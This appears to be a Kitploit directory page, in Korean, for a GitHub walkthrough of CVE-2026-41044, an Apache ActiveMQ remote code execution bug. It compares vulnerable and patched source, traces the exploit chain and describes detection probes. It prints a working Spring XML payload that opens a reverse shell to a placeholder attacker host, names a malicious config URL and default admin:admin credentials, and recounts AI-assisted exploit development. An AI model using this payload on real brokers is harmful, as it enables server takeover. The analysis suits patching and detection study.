Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-41044 — # CVE-2026-41044 교육용 워크스루 및 개념 증명: Apache ActiveMQ RCE, 근본 원인 분석 및 탐지 스크립트 포함 | Kitploit
도구/GitHubGitHub/mrillicit/cve-2026-41044
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubmrillicit/cve-2026-41044

CVE-2026-41044

# CVE-2026-41044 교육용 워크스루 및 개념 증명: Apache ActiveMQ RCE, 근본 원인 분석 및 탐지 스크립트 포함

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-41044

참고: 교육 목적으로만 사용

애드바이저리에서 RCA까지 하루 만에: AI가 N-Day 분석을 어떻게 압축하는가

Apache ActiveMQ의 CVE-2026-41044에 대한 패치 전후 코드를 그대로 사용한 짧고 솔직한 워크스루


CVE-2026-41044는 2026년 4월 24일에 공개되었습니다. Apache ActiveMQ Classic의 원격 코드 실행 버그로, jsjcw가 발견했으며 5.19.6 및 6.2.5에서 패치되었습니다. 제가 발견한 것이 아닙니다.

제가 보여드리고 싶은 것은 ActiveMQ를 한 번도 다뤄본 적 없는 사람이 어떻게 하루 만에 N-day의 작동 가능한 익스플로잇을 만들 수 있는지입니다. 패치된 코드는 공개되어 있고, 패치되지 않은 코드도 공개되어 있으며, 둘 사이의 차이는 git diff 하나면 확인할 수 있기 때문입니다.


파트 1: 워크플로우

프로세스는 간단합니다:

  1. 애드바이저리를 읽고, 영향받는 파일, CWE, 언급된 함수 이름을 기록합니다.
  2. 마지막 취약 버전과 첫 패치 버전을 나란히 체크아웃합니다.
  3. 모델에게 관련 파일을 diff하고 각 변경 사항을 설명하도록 요청합니다.
  4. 로컬 랩에서 체인을 재현하고 엔드투엔드로 테스트합니다.

며칠이 걸리던 작업이 이제는 오후면 끝납니다. AI는 버그를 찾지 않습니다. 코드를 읽고 질문하는 속도만큼 빠르게 설명할 뿐입니다. 여전히 비용이 드는 부분은 바로 당신입니다: 실제로 익스플로잇 가능한 것이 무엇인지, 실제 신뢰 경계가 어디인지, 무엇을 검증해야 하는지 결정하는 일입니다. 모델은 단지 인간보다 더 빠르게 콜 그래프를 따라갈 뿐입니다.

더 큰 요점: 패치 워크플로우가 CVE당 일주일의 분석 시간을 가정한다면, 당신은 옛 타임라인에 있는 것입니다. 는 탐지를 작성하든 익스플로잇을 작성하든 길이가 같습니다.

git diff

파트 2: CVE-2026-41044

ActiveMQ란 무엇인가?

ActiveMQ는 메시지 브로커입니다. 중간에 위치하여 애플리케이션 간에 메시지를 전달합니다. 우체국과 같다고 생각하면 됩니다: 앱이 메시지를 맡기면 ActiveMQ가 올바른 수신자에게 전달합니다. 엔터프라이즈 Java 스택에서 널리 배포되며 웹 콘솔과 /api/jolokia/에 Jolokia라는 REST 관리 API를 노출합니다. 많은 배포 환경에서 기본 자격 증명은 여전히 admin:admin입니다.


한 문장으로 요약한 취약점

ActiveMQ는 인증된 모든 사용자가 임의의 HTTP URL에서 브로커 구성을 로드하도록 허용했으며, Spring이 이를 파싱하여 즉시 Java 객체로 실행했습니다 - ProcessBuilder를 포함하여 - 공격자에게 브로커 서버에서 완전한 OS 명령 실행 권한을 부여했습니다.


배경: 알아야 할 용어

  • 브로커(Broker): 실행 중인 ActiveMQ 서버. 이름으로 식별되며 기본값은 localhost입니다.
  • Jolokia: /api/jolokia/의 HTTP-to-JMX 브리지로, 관리 작업을 REST API로 노출합니다. 모든 유효한 웹 콘솔 자격 증명이 접근할 수 있습니다 - 관리자만이 아닙니다.
  • vm:// 전송: 클라이언트가 브로커와 동일한 JVM에 있을 때 사용되는 인프로세스 전송입니다. 브로커를 부트스트랩하기 위한 Spring XML 구성을 가리키는 ?brokerConfig= 쿼리 파라미터를 허용합니다.
  • xbean:: ActiveMQ가 URL을 Spring XML 구성으로 취급하여 로드하도록 지시하는 URL 스킴입니다.
  • Spring 빈 / init-method: Spring은 XML을 읽고 Java 객체(빈)를 자동으로 생성합니다. init-method 속성은 Spring이 빈이 생성되는 즉시 - 다른 무엇보다 먼저 - 해당 빈의 메서드를 호출하도록 지시합니다.
  • ProcessBuilder: OS 명령을 실행하는 표준 Java 클래스입니다. ProcessBuilder.start()가 명령을 실행합니다.

체인: 다섯 개의 레이어, 실제 코드

레이어 1 - DestinationView가 문자열 연결로 URL을 생성

5.19.2의 DestinationView.sendTextMessage()는 브로커 이름을 문자열에 직접 연결하여 브로커 연결 URL을 생성합니다:

root@kitploit:~
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);

getBrokerName()이 localhost?brokerConfig=xbean:http://attacker/poison.xml을 반환하면, 해당 전체 문자열은 임베디드 쿼리 파라미터가 있는 유효한 vm:// URI가 됩니다. ActiveMQConnectionFactory는 이를 VMTransportFactory에 전달하고, VMTransportFactory는 brokerConfig 파라미터를 추출하여 브로커의 부트스트랩 구성 URL로 사용합니다.

5.19.6의 수정은 한 줄입니다:

root@kitploit:~
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();

String이 URI가 됩니다 - 우발적인 연결은 더 이상 불가능합니다. 값은 브로커의 실제 등록된 VM 커넥터에서 파생된 사전 구성된 불변 URI 객체에서 오며, 변경 가능한 이름 문자열에서 오지 않습니다.


레이어 2 - RegionBroker의 오염 지점

레이어 1이 익스플로잇 가능하려면 브로커 이름이 먼저 오염되어야 합니다. BrokerService는 항상 브로커 이름을 정화해 왔습니다:

root@kitploit:~
// BrokerService.setBrokerName() - 두 버전 모두에 존재
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");

이 정규식은 ?와 =를 깔끔하게 제거합니다. CVE가 존재한 이유는 RegionBroker에 자체적인 별도 세터가 있었고, 그것은 정화하지 않았기 때문입니다:

root@kitploit:~
// 5.19.2 - RegionBroker.java
private String brokerName;           // 변경 가능

public void setBrokerName(String brokerName) {
    this.brokerName = brokerName;    // 검증 전혀 없음
}

이것은 전형적인 혼동된 대리자(confused deputy)입니다 - 관련 클래스에 두 개의 세터가 있고, 그중 하나만 정화합니다. 조작된 이름 필드가 있는 BrokerInfo 패킷을 브로드캐스트하는 원격 피어는 BrokerService의 정규식을 완전히 우회하여 RegionBroker.setBrokerName()에 직접 도달합니다.

5.19.6의 수정은 세터를 삭제하고, 필드를 final로 만들고, 이미 정화된 부모에서 한 번만 초기화합니다:

root@kitploit:~
// 5.19.6 - RegionBroker.java
private final String brokerName;     // 불변

public RegionBroker(BrokerService brokerService, ...) {
    this.brokerName = Objects.requireNonNull(
        brokerService.getBrokerName(), "The broker name cannot be null");
    // setBrokerName()은 삭제되었습니다. 더 이상 세터가 없습니다.
}

병렬 작성자가 없는 정화기를 우회할 수는 없습니다.


레이어 3 - VMTransportFactory: 의도적으로 변경되지 않음

VMTransportFactory.doCompositeConnect()는 vm://...?brokerConfig=... URI를 가져와 brokerConfig 파라미터를 추출하고 BrokerFactory.createBroker(brokerURI)를 호출하는 함수입니다. 전체 체인의 트리거 메커니즘입니다.

Apache는 여기서 정확히 아무것도 변경하지 않았습니다.

이 선택은 그들이 수정에 대해 어떻게 생각했는지 알려줍니다. VMTransportFactory는 합법적인 작업을 수행하고 있습니다 - vm:// 전송은 실제로 부트스트랩 구성을 허용하도록 설계되었습니다. 그것을 패치했다면 의도된 설계를 깨뜨렸을 것입니다. 대신 Apache는 소스(레이어 2: 오염된 이름을 쓸 수 없음)와 싱크(레이어 5: 오염된 URL이 통과하더라도 리소스 리졸버가 가져오지 않음)에서 버그를 수정했습니다.

검증이 속한 레이어를 수정하세요, 공격자가 우연히 통과한 레이어가 아니라.


레이어 4 - XBeanBrokerFactory가 URI를 Spring에 전달

root@kitploit:~
// XBeanBrokerFactory - 두 버전 모두 동일
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
    Resource resource = Utils.resourceFromString(uri);   // 레이어 5
    return new ResourceXmlApplicationContext(resource) { ... };
}

ResourceXmlApplicationContext(resource)는 Spring이 작업을 수행하는 곳입니다 - 모든 빈의 init-method는 ActiveMQ의 BrokerService가 결과를 검증하기 전에 컨텍스트 구성 시 실행됩니다. 여기서 패치할 것은 없습니다. Spring의 계약은 설계대로 올바릅니다. 버그는 ActiveMQ가 인스턴스화 전에 검증이 발생할 것이라고 의존했고, Spring은 그 순서를 보장하지 않는다는 것이었습니다.


레이어 5 - Utils.resourceFromString: 실제 프리미티브 수정

이것은 xbean:http://attacker/poison.xml을 가져올지 여부를 결정하는 함수입니다. 5.19.2에서:

root@kitploit:~
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    if (new File(uri).exists()) {
        return new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        return new UrlResource(ResourceUtils.getURL(uri));  // http? ftp? jar? 검사 없음.
    } else {
        return new ClassPathResource(uri);
    }
}

프로토콜 필터가 없습니다. http://, https://, ftp://, jar:// - 모두 조용히 허용됩니다.

5.19.6 수정은 명시적 허용 목록을 추가합니다. 기본적으로 file과 classpath만 허용됩니다. 다른 모든 것은 UrlResource가 생성되기 전에 예외를 던집니다:

root@kitploit:~
// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL      = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";

public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
        throws MalformedURLException {
    // ...
    } else if (ResourceUtils.isUrl(uri)) {
        validateUrlAllowed(uri, allowedProtocols);           // http/https 등이면 예외 발생
        resource = new UrlResource(ResourceUtils.getURL(uri));
    }
}

static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
        throws URISyntaxException {
    if (allowedProtocols != null) {
        final String detectedProtocol = getProtocolFromScheme(uriString);
        if (!allowedProtocols.contains(detectedProtocol)) {
            throw new IllegalArgumentException("URL [" + uriString +
                    "] uses protocol '" + detectedProtocol + "' which is not allowed");
        }
    }
}

XBeanBrokerFactory는 이제 허용 목록으로 {file, classpath}를 전달합니다. 오염된 브로커 이름이 향후 버전에서 이 함수에 도달하더라도, http://attacker/poison.xml은 Spring이 보기도 전에 예외를 던질 것입니다.


익스플로잇 페이로드의 모습

root@kitploit:~
<beans xmlns="http://www.springframework.org/schema/beans" ...>
  <bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>/bin/sh</value>
        <value>-c</value>
        <value>bash -i &gt;&amp; /dev/tcp/attacker/4444 0&gt;&amp;1</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Spring이 ApplicationContext를 구성하는 순간, init-method="start"가 ProcessBuilder 빈에서 실행됩니다. ActiveMQ의 BrokerService.start() 검증은 그 후에 실행됩니다. 그때쯤이면 셸이 이미 역방향 연결을 완료한 상태입니다.


PoC와 두 경로에 대하여

취약한 Utils.resourceFromString 싱크에 도달하는 두 가지 방법이 있습니다:

전체 프로덕션 경로 (애드바이저리가 설명하는 것):

root@kitploit:~
원격 피어가 조작된 BrokerInfo 패킷 전송
  -> RegionBroker.setBrokerName()이 검증 없이 오염된 이름 저장
    -> DestinationView.sendTextMessage()가 이를 vm:// URL에 연결
      -> VMTransportFactory가 brokerConfig 파라미터 추출
        -> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE

짧은 경로 (poc.sh가 사용하는 것):

root@kitploit:~
BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
  -> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE

PoC는 실용적인 이유로 짧은 경로를 사용합니다: 전체 경로는 대상에 조작된 BrokerInfo 패킷을 보내는 두 번째 ActiveMQ 브로커를 네트워크 피어로 설정해야 합니다 - 더 복잡한 랩 설정이 필요한 브로커 간 상호작용입니다. 짧은 경로는 단일 브로커와 기본 HTTP 서버로 작동합니다.

두 경로 모두 동일한 취약한 프리미티브에 도달합니다. PoC는 싱크가 익스플로잇 가능하고 CVE가 대상에 존재함을 확인합니다. 애드바이저리에 설명된 정확한 진입점을 재현하려면 브로커 간 단계를 추가해야 합니다.


탐지

PoC는 기본적으로 탐지 전용 모드로 실행됩니다. 두 가지 신호를 프로브합니다:

배너 검사 - Jolokia를 통해 BrokerVersion을 읽습니다:

  • < 5.19.6 또는 6.0.0 - 6.2.4 = 취약 범위

동작 검사 - Jolokia를 통해 addNetworkConnector("vm://probe")를 호출합니다:

  • 패치됨(5.19.6+): Transport scheme 'vm' is not allowed 반환
  • 취약: DiscoveryAgent scheme NOT recognized IOException 반환

패치된 버전의 거부는 BrokerView.validateAllowedUrl()에서 발생합니다 - 5.19.6에서 addNetworkConnector JMX 작업에 직접 추가된 별도의 거부 목록으로, Utils.resourceFromString이 아닙니다. 이들은 두 개의 독립적인 수정입니다: 하나는 JMX 관리 표면을 보호하고, 다른 하나는 레이어 5에서 설명된 리소스 로딩 프리미티브를 보호합니다. 동작 프로브는 전자를 테스트합니다.


수정 요약

레이어취약 (5.19.2)수정됨 (5.19.6)
DestinationView"vm://" + brokerName 문자열 연결broker.getVmConnectorURI() 불변 URI
RegionBroker변경 가능한 필드, 정화되지 않은 세터final 필드, 세터 삭제, 정화된 부모에서 초기화
VMTransportFactory변경 없음변경 없음 (설계상)
XBeanBrokerFactoryUtils.resourceFromString(uri) 호출Utils.resourceFromString(uri, allowedProtocols) 호출
Utils.resourceFromString모든 URL 스킴 가져옴허용 목록 적용 - 기본적으로 file과 classpath만

참고 자료 및 크레딧

  • Apache 애드바이저리: CVE-2026-41044
  • ActiveMQ Classic 5.19.6 및 6.2.5에서 패치됨
  • 취약점 발견: jsjcw
  • 컨텍스트용 자매 CVE: CVE-2026-34197 (Horizon3.ai)
  • 이 게시물의 코드는 5.19.2 및 5.19.6 소스 트리에서 직접 검증됨
  • Varshit Modi의 지도, AI 지원으로 생성됨
도구 다운로드